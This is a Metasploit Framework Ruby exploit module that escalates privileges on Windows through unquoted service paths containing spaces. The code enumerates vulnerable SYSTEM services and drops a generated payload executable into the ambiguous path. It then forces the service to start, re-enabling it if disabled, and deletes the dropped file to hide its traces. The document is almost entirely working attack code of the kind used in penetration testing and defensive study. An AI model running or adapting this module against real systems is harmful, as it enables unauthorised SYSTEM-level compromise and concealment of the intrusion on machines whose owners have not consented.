Windows Service Trusted Path Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/services'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::Common  
include Msf::Post::File  
include Post::Windows::WindowsServices  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Service Trusted Path Privilege Escalation',  
'Description' => %q{  
This module exploits a logic flaw due to how the lpApplicationName parameter  
is handled. When the lpApplicationName contains a space, the file name is  
ambiguous. Take this file path as example: C:\program files\hello.exe;  
The Windows API will try to interpret this as two possible paths:  
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.  
To some software developers, this is an unexpected behavior, which becomes a  
security problem if an attacker is able to place a malicious executable in one  
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.  
Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the  
same problem.  
},  
'References' =>  
[  
['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx']  
],  
'DisclosureDate' => "Oct 25 2001",  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r'  
],  
'Platform' => [ 'win'],  
'Targets' => [ ['Windows', {}] ],  
'SessionTypes' => [ "shell", "meterpreter" ],  
'DefaultTarget' => 0,  
# Migrate away, in case the service dies (can kill access)  
'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }  
))  
end  
  
  
def check  
if enum_vuln_services.empty?  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Vulnerable  
end  
end  
  
  
def enum_vuln_services(quick=false)  
vuln_services = []  
  
service_list.each do |name|  
info = service_info(name)  
  
# Sometimes there's a null byte at the end of the string,  
# and that can break the regex -- annoying.  
cmd = info['Command'].strip  
  
# Check path:  
# - Filter out paths that begin with a quote  
# - Filter out paths that don't have a space  
next if cmd !~ /^[a-z]\:.+\.exe$/i  
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)  
  
# Filter out services that aren't launched as SYSTEM  
next if info['Credentials'] !~ /LocalSystem/  
  
vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")  
vuln_services << [name, cmd]  
  
# This process can be pretty damn slow.  
# Allow the user to just find one, and get the hell out.  
break if not vuln_services.empty? and quick  
end  
  
return vuln_services  
end  
  
  
def exploit  
#  
# Exploit the first service found  
#  
print_status("Finding a vulnerable service...")  
svrs = enum_vuln_services(true)  
if svrs.empty?  
print_error("No service found with trusted path issues")  
return  
end  
  
svr_name = svrs.first[0]  
fpath = svrs.first[1]  
exe_path = "#{fpath.split(' ')[0]}.exe"  
print_status("Placing #{exe_path} as #{svr_name}")  
  
  
#  
# Drop the malicious executable into the path  
#  
exe = generate_payload_exe  
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")  
begin  
write_file(exe_path, exe)  
rescue Rex::Post::Meterpreter::RequestError => e  
# Can't write the file, can't go on  
print_error(e.message)  
return  
end  
  
  
#  
# Run the service, let the Windows API do the rest  
#  
print_status("Launching service #{svr_name}...")  
tried = false  
begin  
status = service_start(svr_name)  
raise RuntimeError, status if status != 0  
rescue RuntimeError => s  
if tried  
print_error("Unable to start #{svr_name}")  
return  
else  
tried = true   
end  
  
case s.message  
when 1  
# Service already started, restart again  
service_stop(svr_name)  
retry  
when 2  
# Service disabled, enable it  
service_change_startup(svr_name, 'manual')  
retry  
end  
end  
  
  
#  
# "Nothing ever happened, we swears it on the Precious!"  
#  
print_status("Deleting #{exe_path}")  
begin  
cmd_exec("cmd /c del \"#{exe_path}\"")  
rescue ::Exception => e  
print_error("Unable to remove #{exe_path}: #{e.message}")  
end  
end  
  
end  
`